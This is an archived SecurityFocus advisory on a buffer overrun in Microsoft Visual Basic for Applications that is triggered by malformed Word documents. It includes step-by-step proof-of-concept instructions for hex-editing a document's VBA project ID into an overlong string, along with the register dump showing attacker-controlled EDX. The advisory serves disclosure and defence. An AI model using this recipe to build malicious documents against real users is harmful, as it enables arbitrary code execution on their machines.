48 lines
No EOL
2 KiB
Text
48 lines
No EOL
2 KiB
Text
source: https://www.securityfocus.com/bid/8534/info
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A vulnerability has been discovered in Microsoft Visual Basic for Applications. The vulnerability occurs because the software fails to perform sufficient boundary checks when parsing specific properties of malformed documents. As a result, a malformed document may trigger a buffer overrun within the affected application, effectively allowing arbitrary code to run.
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Internet Explorer is also reportedly an attack vector, since it may call helper applications when handling certain document types.
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1. Open Word.
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2. Select "Insert" - "Object"
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3. Select "MSPropertyTreeCtl Class" (You can also select other objects such
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as ChoiceBox Class, etc)
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4. Save .doc file.
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5. Modify .doc file by using binary editor as follows:
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5a. Find following strings in doc file.
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ID="{1FE45957-2625-4B1E-ADEF-EC04B7F34CCF}"
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Document=ThisDocument/&H00000000
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Name="Project"
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HelpContextID="0"
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VersionCompatible32="393222000"
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CMG="1E1C0125015D1B611B611B611B61"
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DPB="4B4954458046804680"
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GC="787A679868986867"
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5b. Change "ID" from:
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+0000 49 44 3D 22 7B 31 46 45 34 35 39 35 37 2D 32 36 ID="{1FE45957-26
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+0010 32 35 2D 34 42 31 45 2D 41 44 45 46 2D 45 43 30 25-4B1E-ADEF-EC0
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+0020 34 42 37 46 33 34 43 43 46 7D 22 0D 0A 44 6F 63 4B7F34CCF}"..Doc
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+0030 75 6D 65 6E 74 3D 54 68 69 73 44 6F 63 75 6D 65 ument=ThisDocume
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to the following:
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+0000 49 44 3D 22 7B 61 61 61 61 61 61 61 61 61 61 61 ID="{aaaaaaaaaaa
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+0010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
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+0020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
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+0030 61 61 61 61 41 42 43 44 00 00 00 00 aaaaABCD....
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6. Open modified doc file.
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7. You'll be able to see an access violation such as...
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65106055 FF 52 0C call dword ptr [edx+0Ch]
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EAX = 023219A4 EBX = 0232194B ECX = 02311AC4
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EDX = 44434241 ESI = 0231186C EDI = 02321940
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EIP = 65106055 ESP = 0012CBA0 EBP = 0012CBB8
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**UPDATE: Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild. |